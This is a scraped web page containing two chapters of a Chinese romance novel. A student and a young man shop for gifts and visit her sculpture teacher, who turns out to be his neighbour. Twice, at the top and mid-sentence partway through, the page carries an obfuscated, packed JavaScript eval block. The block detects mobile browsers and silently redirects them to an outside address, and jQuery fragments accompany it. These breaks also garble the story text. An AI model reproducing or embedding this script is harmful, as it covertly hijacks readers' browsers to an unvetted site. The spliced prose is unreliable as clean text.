;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14879750|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爬起来收拾自己,她在正事上从来都不会含糊,尤其还是拜师这样的事。
等准备好一切,她才给江鸣发了消息,
[我收拾好了,你方便现在出来吗?]
她手机还没放下,对面就回复,
江鸣:[方便]
[那我们去哪儿汇合?你发个定位给我吧。]
江鸣:[你在酒店等我,我去接你。]
[我这边离酒店稍远,我到了再联系你,你别着急。]
[好。]
时漾觉得也没有过多久,约莫半小时,江鸣就发消息让她下楼。
早就等着出发的时漾,提上顾赟准备的礼物下楼,酒店门口停着一辆黑色的SUV,车窗落着,驾驶座上是江鸣。
这辆车并不贵,算是家庭经济适用款,但还是有点意外。
江鸣拉开车门下来接过她手上的东西放去后备箱,“上车吧。”
“噢,好。”
一上车,江鸣就主动解释,
“我昨天问了我爸妈怎么给长辈送礼,他们怕我们去买东西不方便,就让我开车过来。”
“我成年就考了驾照,驾驶技术你不用担心。”
时漾点头,“谢谢叔叔阿姨了。”
“不谢我啊?”
时漾原本有些沉甸甸的心情忽然轻快起来,“谢谢你——”
她拖长了尾音,满脸无奈,像是在哄小孩儿似的。
但江鸣似乎很受用,系上安全带,“不知道你的预算,我父母大概给我列了一个清单,不同价位的都有考虑,咱们到那边再挑。”
“好。”
江鸣准备发动汽车,余光瞧见时漾没有系安全带,下意识侧身过去。
时漾吓一跳,靠着车门缩着。
江鸣的手顿在半空,指尖已经触到了安全带,两个人的距离太近,女孩的眼睛里倒映着他的脸,她的瞳孔微微放大,紧抿着唇,有些无措。
他甚至能听见她刻意放轻放缓的呼吸,还有她脸上细小的绒毛。
时漾长得很好看,从第一次见她的时候,江鸣就这样觉得,她皮肤很白,眼睛又大又明亮,瞳孔是浅淡的琥珀色,在阳光下绽放着异样的光彩,搭配着她栗色的卷发,把她衬得更像是一个精致的洋娃娃。
她的唇透着浅淡的粉色,似乎是因为化了妆,亮亮的,看上去柔软又诱人。
逼仄的空间里,两人的耳边萦绕着沉重又缓慢加速的心跳声,分不清来自于谁。
谁也没有先开口打破这份沉默。
半晌,江鸣讪讪收回手,眼神也随之逃避,提醒了句,
“安全带。”
“好。”
时漾像是刚刚才恍惚回神,手忙脚乱地把安全带系好。
她撩了下耳侧的碎发,转头看向窗外。
汽车发动,窗外的风景不断倒退,过了好久,她才平复好心情,能冷静地思考一下刚刚的状况。
明明只是系个安全带,却把氛围搞得那么……
而且为什么,刚刚江鸣一直盯着她的嘴巴看。
想着,她再次转头目视前方,余光悄悄打量着认真开车的江鸣。
他眼神一瞬不瞬地盯着眼前,但身体似乎有些僵硬。
尤其是握着方向盘的手格外用力,手背上青筋暴起。
他的脸很红,一直烧到耳根,隐隐还有蔓延到衣领下的趋势。
难道他刚刚真的想歪了?
死手!下次一定要记得上车就系安全带!
15. 租房
车开出去半晌,江鸣的眼神还是一直固定在前方,看上去还没缓过劲儿来,时漾也有些尴尬,手捏着安全带搓来搓去。
在她正想说点什么来打破尴尬的时候,江鸣搁在扶手箱上的手机响起来,系统原始的铃声吵得过头,声音在不算宽敞的空间里回荡。
江鸣看了一眼手机,但是正到路口,他没办法停车接电话,只能求助时漾,
“你能不能帮我接一下,前面有摄像头我腾不出手。”
谁的电话,她能接吗?
时漾拿起来看了一眼,屏幕上跳动着“萱萱”两个字。
女的?那还让她接……
“我,我接吗?”时漾再次确认。
江鸣点点头,“对,你接起来先……”
得到他再次肯定,时漾直接将快要挂断的电话接起来,打开免提递到江鸣身边,但嘴上还是下意识开口,“喂?”
你接起来先……别说话……
沉默蔓延。
时漾整个人都僵住了,江鸣和对面的人也都愣了愣,半晌那头才发出尖锐的暴鸣声,她似乎把手机拿远了些,但是不太清晰的声音还是透过听筒传出来,
“老江,你快过来呀!刚刚儿子的电话里有个女孩儿的声儿,这一大清早的,他要死啊他!”
儿……子?
时漾关掉免提捂住话筒,小声道,“这是你妈……妈?”
江鸣不敢说话,咬住嘴唇深深点头。
“亲妈?”
江鸣又点了点头,用口型道,“如假包换。”
“……”
谁好人给自己妈备注萱萱?!
她还没来得及跟江鸣争论,电话那头传来李萱试探的声音,“儿……儿子?你……”
想都没想,她直接又把手机丢到了扶手箱上,这次她绝不会多说半个字。
“妈,我在。”靠边停好车,江鸣把手机拿起来无奈地回应李萱女士。
“你,你现在在哪儿呢?”李萱女士的语气里透着小心翼翼。
江鸣并不知道,此刻她掐紧了老江的胳膊肉,疼得老江在旁边龇牙咧嘴地求她放手。
他揉了揉眉心,看见时漾转头盯着窗外,头疼得不得了,车里本来就尴尬的气氛被李女士一句话弄得再次降回冰点,
“我刚刚在开车。”
“啊?”李萱一愣,“开,开什么车?”
“……哈佛H6黑色版”
江鸣听见李女士松了一口气的声音,那边似乎还伴随着一点老江呼呼吹气的声音。
看来是老江又遭殃了……
李萱就这点习惯,一紧张手上就得掐点什么,生怕自己一下子被吓晕过去。
“你干什么去?”
“我昨天不是跟你们说了吗,带朋友去买点礼物拜访长辈。”
“噢对对对,我打电话就是想跟你说这个的,我再叮嘱你一下,我跟你爸昨天给你列那个单子上你不管买什么,最后一定要双数!”
“我知道了妈,这点我还是知道的,先不说了,我们赶时间。”
挂断电话,江鸣看了时漾一眼,尴尬道,“那个,你别介意,我妈她平时说话就有点莫名其妙的。”
李萱女士年轻的时候就性格跳脱,老江脾气好也宠着惯着。
本来作为中学老师,她早些年还能有些稳重,之后因为脾气好,学生都喜欢她,有时候会带她接触一些年轻人的东西,她也开始追求融入学生,现在是越活越年轻了。
他和老江偶尔都会有些头疼。
“你怎么给你妈妈备注萱萱啊,有这样的吗?”
连她跟杨慧那样平和亲近的母女关系,她都只是玩玩梗给杨慧备注一个“妈咪妈咪哄”!
时漾转过来,皱着一张脸,脸颊却红扑扑的,不像是闹脾气,更像是不好意思了。
看着她的脸,江鸣想笑,也想伸手去捏一捏,但硬是憋住了,手装忙,抬起来挠了挠头,
“这也不能怪我,我之前就写的是妈,但是我妈嫌无聊,然后又说显老,非要我给她备注萱萱,说一看就是个年轻貌美的女人。”
“那你为什么不提醒我,直接就让我接了?”
“其实我刚刚想说来着,没来得及……”
“哎呀!反正我跟你妈妈又不会见面,回家要解释的也是你,你自己受着吧!”
时漾懊悔不已,捶了下自己的大腿。
这手这会儿又这么快了!
李女士介绍的卖场离时漾住的酒店不远,加上路上打电话耽误的时间也就开了二十分钟左右,刚刚出发前江鸣就把父母列的清单发给了时漾,让她在路上斟酌好,他们到了就直奔那个区域去拿。
顾赟让她带了一套国外生产的雕刻刀,还有一套紫砂壶茶具,虽然这都是他自己家里收藏的东西,但只看物品本身,这两样东西不仅贵重,还是投其所好,是属于老朋友的心意。
时漾在送礼的价值上肯定不能超过自己的老师,作为晚辈,而且还是在上学的晚辈,面对老师,她也不好送贵重物品,只能在心意上下手,于是她选了清单上价值属于中等那一栏的物品。
将自己的选择告诉江鸣,江鸣带着她直奔目的地。
他说他们家逢年过节买礼品都是在这里面买,所以很熟悉,但是时漾也不免感叹起来他们的男女差异。
虽然无法概括所有的男女,但最起码就她身边的人来说,女孩子不管买什么,都是要在卖场里转上一圈的,路过的时候拿好自己要买的东西,然后还会陆陆续续拿一些自己本来没打算要的,包括她,她妈妈,还有沈秋余。
至于老时,和江鸣一样,要买什么进去就直接拿了就走。
时漾选了一台价格中等的肩颈按摩仪,毕竟不论做雕塑还是绘画都是很费肩颈的,莫老师年纪也大了,经常按摩会更好,这件礼物占去了预算的大头,之后又挑着买了一箱牛奶和一箱水果,最后以一块猪肉凑成双数。
她让摊主帮忙用绳子捆了再放进袋子里,江鸣拎着猪肉看了又看,“这是束脩之礼的意思?”
“嗯!你还懂这个呢!”
时漾眼睛亮亮,有点惊喜,她一开始还担心江鸣会觉得她拿这一块猪肉上门很滑稽,虽然确实不太好看,但是这是她们那边流行的拜师礼。
“虽然我们这边不怎么送这个,但是我上过学……”
束脩之礼从古代的时候就有,那时候条件不好没办法保存生肉,所以送的大部分是肉脯,现在不太一样,有时候还会添些龙眼,红豆之类的干果凑成六样。
本来还想给江鸣解释的时漾一腔热情瞬间被浇灭,“……噢。”
买好礼品,他们就准备去老师家拜访,上了车,时漾将地址发给江鸣,“这个地址你要导航吗?”
“我看看,老城区的话我基本不用,那边我很……熟。”
江鸣盯着手机看了半天,面色有些凝重,时漾疑惑地在他面前摆了摆手,
“你怎么了?这个位置有什么问题吗?我查过是在老城区的,你不是说你很熟吗?”
“你确定是这个地址吗?”
“确定啊。”时漾连带着顾赟给她发的信息还有写的小纸条一并递到他面前,“我都搜过好几遍了,不会错的,你不认识路的话我给你开导航。”
“不用了……”
这个地址哪里不识路,何止是熟,简直太熟了。
“你那个莫老师,是不是叫莫青海?”
“对啊,你认识莫老师啊?”
“……算认识吧。”
住对门能不认识吗?昨天晚上莫爷爷还说终于清闲了,下厨做了一桌子菜喊他一起吃饭,只是他也没说今天有个学生上门,还拉着他聊到半夜。
时漾不明所以,马上要去见老师,她心里有些紧张,没工夫继续深究。
江鸣也调整好状态开车,“这个点从这边过去估计要四十分钟,你可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14879751|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以慢慢调整,不用紧张。”
哪有学生面对老师不紧张的。时漾心里腹诽。
路况比江鸣预想的顺利,实际上只用了三十分钟出头就到了地方,老小区里没有停车位,大家只能把车停在小区门口的公共车位上,他绕了几圈才找到一个空车位,没忍住吐槽,
“今天的车怎么格外多。”
时漾刚解了安全带,看了江鸣一眼,他这话什么意思?他以前也来啊?
拎着礼品进入小区,老楼之间的间距不大,规模密集,而且外观上也都大差不差,时漾本想问问在路边聊天的阿姨对应的楼栋怎么走,没想到江鸣格外轻车熟路,甚至还有几个阿姨跟他打招呼。
他似乎是在逃避,脚步越走越快,时漾落在他后面,听见刚刚路过的几个阿姨嘀嘀咕咕,
“小江这是带女朋友回来了吗?怎么还提着礼物,这里不就他自己住吗?”
“不知道噢,这小闺女长得挺好看的,就是瘦了点,小江是不是亏待人家了。”
“他平常人挺不错的,对女朋友这个样儿,自己走那么快都不管的。”
“……”听完,时漾也默默加快了脚步。
路边阿姨的闲话不能随便听,她们的脑补能力实在太强,当事人听完了都要当场心梗。
不过她们话里的意思好像是,江鸣住在这里。
那他刚刚怎么不说?
江鸣带着时漾上楼,把礼物放在门口,“我,那个你自己进去吧,我去好像不太合适。”
“那你去哪儿等我?”
应该是回家等吧,也不知道他住哪一栋,听阿姨说他是自己住,应该不会碰见他爸妈吧……
“呃,我再看看,实在不行去车里等你。”
还是不说实话。时漾皱了下眉,答应下来,“那好,你要有事先走也行。”
说完,时漾就抬手敲了敲门,江鸣连句好都没来及说转头就走,像是怕人看见似的,落荒而逃。
“小时,还有……小江?”
“……”
门开得太快,时漾和江鸣都没反应过来。
已经被点了名,江鸣只能站住脚,转过身来打招呼,“莫爷爷。”
“你出去啊?跑那么快干什么。”
“我……”
“莫老师,你们认识?”时漾试探开口。
莫青海走出来揽住江鸣,拍了拍他的背,“这是小江,跟我住对门,家里有什么事情我应付不来,都是他帮我弄,我还经常叫他来家里吃饭,昨晚我们还一起吃饭了呢,是吧小江。”
后知后觉的,他又问了句,“你们认识?”
“……他送我来的。”时漾无语,不懂这有什么好藏着掖着的。
“哎呦,那既然你们认识,就一起进来呗,外头太冷了,这都不是外人。”
莫青海先把时漾拉进家里,江鸣认命地拎起地上的礼品进门,莫青海接过去,“小时啊,你说你来就来,还带这么多东西。”
“里面的刀具和紫砂壶是顾老师让我带给您的,剩下的是我的,不贵,只是一些心意。”
众人在客厅坐下,莫青海没有上来就提学雕塑的事,可能也是顾及着江鸣一个外行人在场,只是随便唠唠家常,
“你们刚刚怎么来的?”
“我开车。”江鸣答。
“小时现在住哪儿,离这边有点远吧还要开车。”
时漾说了酒店的位置,莫青海哎呦了声,
“是有点远,咱们这讨论学习可能要一段时间,你来回不太方便啊。”
“嗯,确实是,不过我打算今天先来认认路,然后在这边租个短期房。”
“你一个小姑娘自己在老城区租房也挺不安全的,”莫青海摸了摸下巴,突然一拍大腿,“小江你那儿不是还有一间房,你之前说要找室友合租,不如就让小时住进来好了。”
“啊?”江鸣和时漾异口同声,两脸不可置信。